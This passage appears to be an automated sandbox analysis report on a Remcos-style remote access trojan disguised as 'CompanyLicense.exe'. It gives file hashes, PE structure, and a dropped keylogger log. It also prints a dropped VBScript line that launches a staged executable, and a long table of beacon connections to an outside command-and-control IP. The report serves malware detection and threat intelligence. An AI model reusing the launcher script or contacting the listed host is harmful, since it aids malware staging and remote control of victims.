SHA-256:	E107D87C8F8AACC01566C5A56A2A31EAC151D8A9226880D56E140DA33A76C77B
SHA-512:	74B3A0E140EB4AC10BF0326D61B16B97D884A7F3C31E48B9BE459D737456B2AA751A665F08D55163D6B940375B0BC1E1A9C292C099582C758328FD4BA53119BF
Malicious:	true
Reputation:	low
Preview:	Set W = CreateObject("WScript.Shell")..Set C = W.Exec ("C:\Users\user\AppData\Local\Temp\Arsenation\Internering2.exe")

C:\Users\user\AppData\Roaming\remcos\logs.dat Download File
Process:	C:\Users\user\Desktop\CompanyLicense.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	4.662420853767955
Encrypted:	false
SSDEEP:	3:ttUVXVrA4RXMRPHv31aeo:tmVBXqdHv3IP
MD5:	2788D81C1E91ADDC68FED1327ECA7812
SHA1:	EEFA17BC4A2DB2D655E9C42D31D51A8C2977BE99
SHA-256:	3C96343061BCFDF07B8AC699D4AB70BD04F64D71E3849850DC5BB368CA62583F
SHA-512:	271DB10D91EDC0910C80133F570FBEACC0BB51A0000290B1061AE3EA1BB3346CA92ADC5D8C6C35565D431A170BC7B1CDAA95B80A85BFC4D864D2093C887AB73C
Malicious:	true
Reputation:	low
Preview:	..[2021/01/19 17:14:22 Offline Keylogger Started]....[ Program Manager ]..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.50764794769054
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	CompanyLicense.exe
File size:	98304
MD5:	ace3e9fc3a2277aa4e72881c9f204642
SHA1:	50337a4aa52b65cac5fd2745c3fe7d88d503d00f
SHA256:	c6cf35735aff0eba459a6a1f4b65722ba08dfb0beed54b0df8e9be3ec3edba98
SHA512:	9220fe497f297ae1d86a13dd28fffc381a6945ac49cc2f3b904d605a193af00daaf18b6bc4f6e85d93f6a80b29d34dd56d7269bbc11b46d98319e571989e721f
SSDEEP:	768:8zNE6BYzwvWXallllllllllllllllllllllllllllllllllllllllllllllllllK:oE66zwuoPMvaB5DqinLdNW2XLnolNI8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........I....................................Rich............................PE..L......T................. ...`...............0....@

File Icon


Icon Hash:	0919914f4707077b

Static PE Info

General
Entrypoint:	0x401480
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x54CDDCDF [Sun Feb 1 07:59:27 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	cdaaae34b462dd94bb47458bdb1adef4

Entrypoint Preview

Instruction
push 004028A8h
call 00007F8E00E97DE3h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx-13h], dl
xchg eax, ebx
inc edi
ror byte ptr [esi-27h], 1
inc ebx
xchg eax, ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11dd4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x15000	0x3e70	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x238	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x118	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11270	0x12000	False	0.344957139757	data	5.50911753026	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x13000	0x1598	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x15000	0x3e70	0x4000	False	0.405883789062	data	5.82018702814	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x15148	0x468	GLS_BINARY_LSB_FIRST
RT_ICON	0x155b0	0x10a8	data
RT_ICON	0x16658	0x25a8	data
RT_GROUP_ICON	0x18c00	0x30	data
RT_VERSION	0x18c30	0x240	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryVar, __vbaAryDestruct, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, __vbaVarTstEq, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaI2Str, __vbaFPException, _CIlog, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarDup, _CIatan, __vbaStrMove, __vbaAryCopy, _allmul, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	SKULPTURUDSTILLING
FileVersion	1.00
CompanyName	Above
ProductName	Hypotrochoid9
ProductVersion	1.00
OriginalFilename	SKULPTURUDSTILLING.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 19, 2021 17:14:22.775369883 CET	49731	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:22.824256897 CET	2048	49731	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:23.335721016 CET	49731	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:23.386931896 CET	2048	49731	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:23.897774935 CET	49731	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:23.946536064 CET	2048	49731	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:24.052889109 CET	49732	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:24.101716042 CET	2048	49732	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:24.602783918 CET	49732	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:24.651901007 CET	2048	49732	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:25.152772903 CET	49732	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:25.201525927 CET	2048	49732	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:26.294280052 CET	49733	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:26.342992067 CET	2048	49733	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:26.843080044 CET	49733	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:26.891758919 CET	2048	49733	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:27.392011881 CET	49733	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:27.440768957 CET	2048	49733	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:27.531769037 CET	49734	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:27.580243111 CET	2048	49734	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:28.080979109 CET	49734	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:28.129554987 CET	2048	49734	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:28.633030891 CET	49734	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:28.682029009 CET	2048	49734	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:29.763509989 CET	49737	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:29.814196110 CET	2048	49737	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:30.314121962 CET	49737	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:30.362899065 CET	2048	49737	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:30.864197969 CET	49737	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:30.913114071 CET	2048	49737	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:31.000382900 CET	49738	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:31.048955917 CET	2048	49738	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:31.549484015 CET	49738	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:31.599778891 CET	2048	49738	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:32.101264000 CET	49738	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:32.150471926 CET	2048	49738	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:33.234987974 CET	49740	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:33.283703089 CET	2048	49740	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:33.784394026 CET	49740	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:33.833317041 CET	2048	49740	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:34.334399939 CET	49740	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:34.383140087 CET	2048	49740	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:34.476705074 CET	49741	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:34.525707006 CET	2048	49741	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:35.026490927 CET	49741	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:35.075144053 CET	2048	49741	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:35.577543974 CET	49741	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:35.626167059 CET	2048	49741	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:36.713778973 CET	49742	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:36.762989044 CET	2048	49742	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:37.263942003 CET	49742	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:37.314929008 CET	2048	49742	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:37.815968990 CET	49742	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:37.864969015 CET	2048	49742	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:38.009288073 CET	49743	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:38.061501980 CET	2048	49743	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:38.562872887 CET	49743	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:38.613833904 CET	2048	49743	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:39.116797924 CET	49743	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:39.165838003 CET	2048	49743	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:40.367436886 CET	49745	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:40.416039944 CET	2048	49745	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:40.915915966 CET	49745	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:40.964520931 CET	2048	49745	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:41.500976086 CET	49745	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:41.549803019 CET	2048	49745	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:41.671722889 CET	49746	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:41.720578909 CET	2048	49746	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:42.220014095 CET	49746	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:42.268996954 CET	2048	49746	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:42.770032883 CET	49746	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:42.819853067 CET	2048	49746	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:43.925137043 CET	49749	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:43.973728895 CET	2048	49749	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:44.476151943 CET	49749	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:44.524817944 CET	2048	49749	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:45.027292013 CET	49749	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:45.076185942 CET	2048	49749	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:45.175616026 CET	49751	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:45.224422932 CET	2048	49751	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:45.727181911 CET	49751	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:45.775923014 CET	2048	49751	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:46.276385069 CET	49751	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:46.325015068 CET	2048	49751	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:47.433749914 CET	49754	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:47.482527018 CET	2048	49754	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:48.001429081 CET	49754	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:48.050291061 CET	2048	49754	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:48.601537943 CET	49754	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:48.649986029 CET	2048	49754	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:48.744983912 CET	49758	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:48.793597937 CET	2048	49758	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:49.294563055 CET	49758	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:49.345067024 CET	2048	49758	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:49.849251032 CET	49758	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:49.897691965 CET	2048	49758	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:51.016201973 CET	49765	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:51.064769030 CET	2048	49765	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:51.565696955 CET	49765	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:51.614520073 CET	2048	49765	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:52.115725994 CET	49765	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:52.164488077 CET	2048	49765	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:52.258903980 CET	49767	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:52.307518959 CET	2048	49767	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:52.807760954 CET	49767	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:52.856662989 CET	2048	49767	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:53.356803894 CET	49767	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:53.405333996 CET	2048	49767	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:54.497534990 CET	49770	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:54.547132969 CET	2048	49770	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:55.048944950 CET	49770	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:55.097676039 CET	2048	49770	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:55.597475052 CET	49770	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:55.646395922 CET	2048	49770	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:55.748610020 CET	49772	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:55.797532082 CET	2048	49772	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:56.298048019 CET	49772	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:56.346923113 CET	2048	49772	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:56.847039938 CET	49772	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:56.895661116 CET	2048	49772	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:58.224054098 CET	49774	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:58.272780895 CET	2048	49774	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:58.772224903 CET	49774	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:58.820642948 CET	2048	49774	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:59.321289062 CET	49774	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:59.370187998 CET	2048	49774	185.140.53.253	192.168.2.4
Jan 19, 2021 17:14:59.573581934 CET	49775	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:14:59.622335911 CET	2048	49775	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:00.123552084 CET	49775	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:00.172154903 CET	2048	49775	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:00.673417091 CET	49775	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:00.724555969 CET	2048	49775	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:01.846451998 CET	49776	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:01.895152092 CET	2048	49776	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:02.396042109 CET	49776	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:02.444703102 CET	2048	49776	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:02.947238922 CET	49776	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:02.995974064 CET	2048	49776	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:03.096684933 CET	49777	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:03.145226002 CET	2048	49777	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:03.645567894 CET	49777	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:03.694125891 CET	2048	49777	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:04.195661068 CET	49777	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:04.244359016 CET	2048	49777	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:06.381602049 CET	49781	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:06.430500031 CET	2048	49781	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:06.932796955 CET	49781	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:06.981322050 CET	2048	49781	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:07.482904911 CET	49781	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:07.531594038 CET	2048	49781	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:07.621427059 CET	49787	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:07.669972897 CET	2048	49787	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:08.171976089 CET	49787	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:08.221604109 CET	2048	49787	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:08.723167896 CET	49787	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:08.772187948 CET	2048	49787	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:09.852056026 CET	49788	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:09.902740002 CET	2048	49788	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:10.405098915 CET	49788	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:10.453794956 CET	2048	49788	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:10.955327988 CET	49788	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:11.004626989 CET	2048	49788	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:11.098200083 CET	49789	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:11.150202036 CET	2048	49789	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:11.652141094 CET	49789	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:11.701937914 CET	2048	49789	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:12.205311060 CET	49789	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:12.254204035 CET	2048	49789	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:13.344268084 CET	49791	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:13.394406080 CET	2048	49791	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:13.895371914 CET	49791	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:13.944315910 CET	2048	49791	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:14.445408106 CET	49791	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:14.494050980 CET	2048	49791	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:14.598859072 CET	49793	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:14.647566080 CET	2048	49793	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:15.152508020 CET	49793	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:15.201118946 CET	2048	49793	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:15.705755949 CET	49793	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:28.816891909 CET	49796	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:28.865475893 CET	2048	49796	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:29.366527081 CET	49796	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:29.415103912 CET	2048	49796	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:29.916553974 CET	49796	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:29.965262890 CET	2048	49796	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:30.077146053 CET	49797	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:30.126117945 CET	2048	49797	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:30.626650095 CET	49797	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:30.675601959 CET	2048	49797	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:31.178626060 CET	49797	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:31.227519035 CET	2048	49797	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:32.329123020 CET	49800	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:32.377681971 CET	2048	49800	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:32.878793001 CET	49800	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:32.927510023 CET	2048	49800	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:33.428754091 CET	49800	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:33.477555990 CET	2048	49800	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:33.565963984 CET	49802	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:33.614444017 CET	2048	49802	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:34.115859032 CET	49802	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:34.164328098 CET	2048	49802	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:34.665910959 CET	49802	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:34.714492083 CET	2048	49802	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:35.811852932 CET	49804	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:35.860477924 CET	2048	49804	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:36.361994028 CET	49804	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:36.410567045 CET	2048	49804	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:36.914000988 CET	49804	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:36.963051081 CET	2048	49804	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:37.074404955 CET	49805	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:37.123290062 CET	2048	49805	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:37.623876095 CET	49805	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:37.673569918 CET	2048	49805	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:38.175116062 CET	49805	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:38.223603964 CET	2048	49805	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:39.318526983 CET	49807	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:39.367028952 CET	2048	49807	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:39.869663000 CET	49807	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:39.918488979 CET	2048	49807	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:40.419255018 CET	49807	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:40.467592955 CET	2048	49807	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:40.547131062 CET	49809	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:40.595822096 CET	2048	49809	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:41.096285105 CET	49809	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:41.145519972 CET	2048	49809	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:41.646441936 CET	49809	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:41.698337078 CET	2048	49809	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:42.793126106 CET	49810	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:42.842196941 CET	2048	49810	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:43.343494892 CET	49810	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:43.392118931 CET	2048	49810	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:43.893548012 CET	49810	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:43.942442894 CET	2048	49810	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:44.038311958 CET	49811	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:44.086797953 CET	2048	49811	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:44.589669943 CET	49811	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:44.638458014 CET	2048	49811	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:45.138654947 CET	49811	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:45.187437057 CET	2048	49811	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:46.288197041 CET	49812	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:46.336991072 CET	2048	49812	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:46.836740017 CET	49812	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:46.885701895 CET	2048	49812	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:47.386907101 CET	49812	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:47.435523033 CET	2048	49812	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:47.547933102 CET	49813	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:47.596868038 CET	2048	49813	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:48.099875927 CET	49813	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:48.148515940 CET	2048	49813	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:48.654910088 CET	49813	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:48.703871012 CET	2048	49813	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:50.545908928 CET	49814	2048	192.168.2.4	185.140.53.253
